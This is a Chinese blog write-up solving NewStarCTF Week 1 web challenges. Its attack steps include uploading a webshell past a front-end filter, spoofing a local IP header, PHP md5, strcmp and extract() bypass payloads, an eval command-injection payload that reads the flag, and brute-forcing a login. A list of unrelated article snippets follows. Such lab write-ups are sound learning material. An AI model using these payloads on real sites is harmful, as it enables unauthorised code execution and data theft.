【Web】NewStarCTF Week1 个人复现

news/2024/5/20 0:36:53 标签: 前端, WEB, CTF, 安全, 笔记, NewStarCTF

目录

①泄露的秘密

②Begin of Upload

③Begin of HTTP

④ErrorFlask 

⑤Begin of PHP 

⑥R!C!E!

⑦EasyLogin 


①泄露的秘密

盲猜/robots.txt,访问得到flag前半部分

第二个没试出来,老老实实拿dirsearch扫吧

访问/www.zip

下载附件,拿到第二部分

 

flag:

flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous} 

②Begin of Upload

随便上传一个php文件

 发现有前端限制

 禁一手js

继续上传 

 

成功传马,直接rce即可,下略 

③Begin of HTTP

常规的题,不多解释

POST /?ctf=1 HTTP/1.1
Host: node4.buuoj.cn:28438
User-Agent: NewStarCTF2023
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: power=ctfer
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Referer:newstarctf.com
X-Real-IP: 127.0.0.1

secret=n3wst4rCTF2023g00000d

注意最后的伪造本地请求方式要字典爆破

④ErrorFlask 

看标题表述就是搞破坏让flask报错 

先正常传俩数字,回显告诉我们不是ssti

传个字母试试

payload:

?number1=a&number2=1

成功报错拿到flag

⑤Begin of PHP 

贴出源码

 <?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=<br>";
    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }
}

if($flag1){
    echo "=Level 2=<br>";
    if(isset($_POST['key3'])){
        if(md5($_POST['key3']) === sha1($_POST['key3'])){
            $flag2 = True;
        }
    }else{
        die("nope,this is level 2");
    }
}

if($flag2){
    echo "=Level 3=<br>";
    if(isset($_GET['key4'])){
        if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
            $flag3 = True;
        }else{
            die("nope,this is level 3");
        }
    }
}

if($flag3){
    echo "=Level 4=<br>";
    if(isset($_GET['key5'])){
        if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
            $flag4 = True;
        }else{
            die("nope,this is level 4");
        }
    }
}

if($flag4){
    echo "=Level 5=<br>";
    extract($_POST);
    foreach($_POST as $var){
        if(preg_match("/[a-zA-Z0-9]/",$var)){
            die("nope,this is level 5");
        }
    }
    if($flag5){
        echo file_get_contents("/flag");
    }else{
        die("nope,this is level 5");
    }
} 

payload:

?key1[]=1&key2[]=2&key4[]=1&key5=2024.c

key3[]=1&flag5=![]

主要解释下level3和5 

level 3利用strcmp传入数组会返回0来绕过

level 5利用extract可以解析并创建变量,来psost一个flag5进去(因为发现源码中没有flag5)。另外对post内容做了限制,不能有字母数字,这里可以传一个![]进去,[]空数组会隐式转换为false,在!取反得到我们要的true

⑥R!C!E!

先是构造md5

 (默默掏出工具爆破)

最终payload:

password=114514&e[v.a.l=echo `tac /f*`;

⑦EasyLogin 

进来是个登录框

随便注册一个账号登录看看

没什么用,估计得admin登录

提示密码至少6位,尝试爆破6位密码 

爆破得密码为000000

 登录,发包得到302重定向,在repeater里看即可


http://www.niftyadmin.cn/n/5209522.html

相关文章

Java操作MongoDB报错 java.lang.IllegalStateException: state should be: open

问题描述 我在使用Spark整合MongoDB&#xff0c;涉及到了MongoDB Colletion中的文档删除与新建&#xff08;也就是更新文档&#xff09;时&#xff0c;出现了报错java.lang.IllegalStateException: state should be: open错误代码如下 /*** 将数据保存到 MongoDB userId ->…

【Leetcode合集】1410. HTML 实体解析器

1410. HTML 实体解析器 1410. HTML 实体解析器 代码仓库地址&#xff1a; https://github.com/slience-me/Leetcode 个人博客 &#xff1a;https://slienceme.xyz 编写一个函数来查找字符串数组中的最长公共前缀。 如果不存在公共前缀&#xff0c;返回空字符串 ""…

Django < 2.0.8 在 CommonMiddleware 中打开重定向的可能性 (CVE-2018-14574)

漏洞描述 如果django.middleware.common.CommonMiddleware和APPEND_SLASH设置都已启用&#xff0c;并且项目的 URL 模式接受任何以斜杠结尾的路径&#xff0c;则对该网站的恶意制作的 URL 的请求可能会导致重定向到另一个网站&#xff0c;从而启用网络钓鱼和其他攻击。 漏洞环…

【Thumbnailator】图片压缩、水印、格式修改一网打尽

前言&#xff1a; 对于javaweb服务端开发人员&#xff0c;图片资源的管理总是绕不开的一环。很多网站上都会提供上传图片这个功能&#xff0c;而现代数码设备拍摄出来的都是高清图片&#xff0c;分辨率很高&#xff0c;占用的空间也很大。物理存储的问题还算容易解决&#xff0…

GoogleNet详解

一、亮点 AlexNet、VGG都只有一个输出层。googlenet有三个&#xff08;其中两个是辅助分类层&#xff09; 二、先看看Inception结构 1、Inception 之前的网络&#xff1a; AlexNet、VGG都是串行结构 Inception&#xff1a; 并行结构 上一层的输出同时传入四个并行结构&…

产品经理面试必看!To B和To C产品的隐秘差异,你了解多少?

大家好&#xff0c;我是小米&#xff0c;一位对技术充满热情的产品经理。最近在和小伙伴们交流中发现一个热门话题&#xff1a;To B&#xff08;面向企业&#xff09;和To C&#xff08;面向消费者&#xff09;的产品经理究竟有何异同&#xff1f;这可是我们产品经理面试中的经…

Unity机器学习 ML-Agents第一个例子

上一节我们安装了机器学习mlagents的开发环境&#xff0c;本节我们创建第一个例子&#xff0c;了解什么是机器学习。 我们的例子很简单&#xff0c;就是让机器人自主移动到目标位置&#xff0c;不能移动到地板范围外。 首先我们来简单的了解以下机器学习的过程。 机器学习的过…

PostgreSQL数据库初接触

PostgreSQL默认端口为5432 windows下服务名为PostgreSQL-x64-10 10为版本 进程名为pg-ctl.exe 备份数据库命令&#xff1a; pg_dump -h localhost -p 5432 -U postgres -f d:\20231124.dmp tcsl7//tcsl7为数据库名 开始用-d 指定数据库&#xff0c;后来提示没-d参数 还…